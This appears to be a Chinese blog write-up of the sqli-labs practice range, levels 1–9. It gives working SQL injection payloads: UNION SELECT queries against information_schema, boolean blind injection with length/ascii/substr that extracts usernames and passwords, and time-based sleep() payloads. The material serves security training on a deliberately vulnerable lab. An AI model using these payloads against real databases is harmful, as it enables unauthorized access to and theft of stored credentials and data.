SQL实践之sqli-labs靶场(持续更新)

努力的人永远都不会差!

目录

Page 1

Less 1

解题过程:

 总结:

Page 1

Less 2

解题过程:

Page 1

Less 3

解题过程:

Page 1

Less 4

解题过程:

Page 1

Less 5

解题过程:

Page 1

Less 6

解题过程:


Page 1

Less 1

解题过程:

 首先进入页面,提示输入一个id的参数,我们使用hackbar的工具,首先输入id=1,能够那个显示,结果如下:

 

 再输入非整形,依旧可以。说明这是字符型

 接下来判断闭合方式,在刚才的字符后面加上一个’(英文)

 报错

 报错信息重点是''1adfs'' LIMIT 0,1',去掉我们输入的1abfs',剩下来''xx' LIMIT 0,1',并且要保持成双配对原则,第一个引号与最后一个配对,作为报错信息的标志,在这里可以知道闭合方式是单引号。

输入一下信息,正常输出

 然而输出一下信息,没有显示

 结果:

 说明执行了我们的操作,有sql注入漏洞

使用order by 参看列数:

 

将4换成3,有输出

使用union select查看回显位,mysql的select 在直接select一个字符串常量或者数字的时候,会直接返回

 

 

 没有四个,换成成功

 查询数据库名,将id改为-1,查询不到就会显示我们想要查询的名了。

执行database()来查看当前数据库,执行user()来查看当前连接数据库的用户。

 

 由此可知,我们的数据库名为security

现在我们要根据数据库名查表名

 也可以这么写

 都可以获得表名

 根据表名查列名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+

 

 查询具体的值

 获得用户名及密码:

 总结:

总结
1 、寻找注入点
2 、判断闭合方式
3 、验证漏洞
4 、判断列数及回显位
5 、取数据
取数据库名
根据数据库名,取表名
根据数据库名、表名,取列名
取具体数据
http://sqli.com/sqli-1.php?id=1 union select 1,schema_name,3 from information_schema.schemata。
获取所有数据库名

Page 1

Less 2

解题过程:

进入第二关

利用时间盲注,发现停顿了4秒,有漏洞

利用order by得到列数为3

 获取到数据库名为security

 利用backbar输入以下代码获得所有security的列名和数据库名

/?id=-1 union select 1,(select group_concat(column_name) 
from information_schema.columns where table_schema='security'
 and table_name='users'),(select group_concat(schema_name)
 from information_schema.schemata)

 

 设法获得users的列名,第一关有讲

 获得所有的数据

Page 1

Less 3

解题过程:

 来到第三关

输入?id=1'

 可以知道是单引号,而且有括号,应是('')

 网页加载了三秒,证明可以注入了,用第二关的方法,结束

Page 1

Less 4

解题过程:

来到第四关

  正常执行

而双引号报错

 判断为("")

然后按照前几关就行了

Page 1

Less 5

解题过程:

 来到第五关

 输入?id=1‘报错

 可以知道为单引号

 这里判断列数为3,接下来判断回显位,由于每次的回显都一样,所以要进行盲注

通过length确认数据库字符串长度

一个一个的试,确认数据库名为8

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。
lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,
b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们
要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,
这样我们可以很好确定数字根据数字找到对应的字符。


?id=1'and length((select group_concat(table_name) from 
information_schema.tables where 
table_schema=database()))>13--+
判断所有表名字符长度。

?id=1'and ascii(substr((select group_concat(table_name) 
from information_schema.tables where 
table_schema=database()),1,1))>99--+
逐一判断表名

?id=1'and length((select group_concat(column_name) 
from information_schema.columns where
 table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度

?id=1'and ascii(substr((select group_concat(column_name) 
from information_schema.columns where
 table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。


?id=1' and length((select group_concat
(username,password) from users))>109--+
判断字段内容长度



?id=1' and ascii(substr((select group_concat(username,password)
 from users),1,1))>50--+
逐一检测内容。

判断出字符串长度为29

 

根据ascil码确定table名

由于布尔盲注太浪费时间了,这里笔者就不浪费时间了。

Page 1

Less 6

解题过程:

来到第六关

 

判断出是双引号,接下来步骤跟第五关一样

Page 1

Less 7

解题过程:

 

单引号报错,接下来判断是不是括号闭合

 报错,说明不是单单的‘’闭合,而是有括号,接下来和第五关一样

Page 1

Less 8

解题过程:

来到第八关

方式简单,不加赘述

Page 1

Less 9

解题过程:

来到第九关

注入发现无论怎么注入,都没有反应

按照下面注入也没有反应,把”换成‘sleep了五秒,证明这里有sql注入漏洞

 if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

 按照如下代码,你可以的,思路跟之前一样

http://192.168.0.30/sqli-labs/Less-9/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema =database()))>50,sleep(5),1)%23

 

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值